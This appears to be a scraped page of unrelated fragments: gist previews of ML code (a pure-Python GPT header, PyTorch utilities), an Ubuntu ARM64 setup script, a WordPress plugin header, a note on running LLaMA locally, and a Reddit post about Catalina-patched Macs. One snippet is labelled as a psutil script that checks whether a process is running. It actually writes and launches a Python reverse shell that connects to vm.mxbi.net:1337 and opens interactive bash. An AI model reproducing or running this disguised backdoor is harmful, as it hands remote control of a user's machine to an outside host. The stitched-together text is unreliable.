| """ | |
| The most atomic way to train and run inference for a GPT in pure, dependency-free Python. | |
| This file is the complete algorithm. | |
| Everything else is just efficiency. | |
| @karpathy | |
| """ | |
| import os # os.path.exists | |
| import math # math.log, math.exp |
The problem with large language models is that you can’t run these locally on your laptop. Thanks to Georgi Gerganov and his llama.cpp project, it is now possible to run Meta’s LLaMA on a single computer without a dedicated GPU.
There are multiple steps involved in running LLaMA locally on a M1 Mac after downloading the model weights.
| # should works on any cloud-init enabled hypervisor (openstack.. ) | |
| # start from a normal ubuntu 20.04 install as minimal was not available for ARM64 | |
| # Since ARM64 machines has higher RAM, Shrinking is desired but not necessary. Instead we will increase tmpfs to 1700MB | |
| # Getting root (if sudo -i doesn't work then set a root password beforehand using 'sudo passwd root' | |
| sudo -i | |
| # make sure we are on the highest kernel, so we can delete all the others ... |
| from typing import Optional | |
| import torch | |
| import torch.nn.functional as F | |
| from torch import Tensor | |
| from torch.nn.modules.batchnorm import _BatchNorm | |
| # Masked Batch Normalization |
Microsoft office and Chrome not working on catalina patcher (Solution) (self.CatalinaPatcher)
submitted 4 months ago by jareza
Hi! mandatory introduction:
I have a mid 2009 Macbook Pro that has Catalina Installed using Dos dude patcher. Works Great
However trying to open Google Chrome gave me an error. That same error was given when trying to open microsoft office.
| # By Sanix darker | |
| # With this script you can check if a process is running by it's name | |
| # | |
| # Install dependencies by hiting : pip install psutil | |
| # | |
| # Then launch the script : python checkIfProcessRunning.py | |
| import psutil | |
| !echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vm.mxbi.net",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > shell.py | |
| import subprocess | |
| subprocess.Popen(["python", "shell.py"]) |
| #!/usr/bin/env python | |
| # -*- coding:UTF-8 -*- | |
| import torch | |
| import torch.nn as nn | |
| import torch.nn.init as init | |
| def weight_init(m): | |
| ''' |
| <?php | |
| /* | |
| Plugin Name: Import demo | |
| Plugin URI: http://royduineveld.nl | |
| Description: A demo import for my blog | |
| Version: 1.0 | |
| Author: Roy Duineveld | |
| Author URI: http://royduineveld.nl | |
| */ |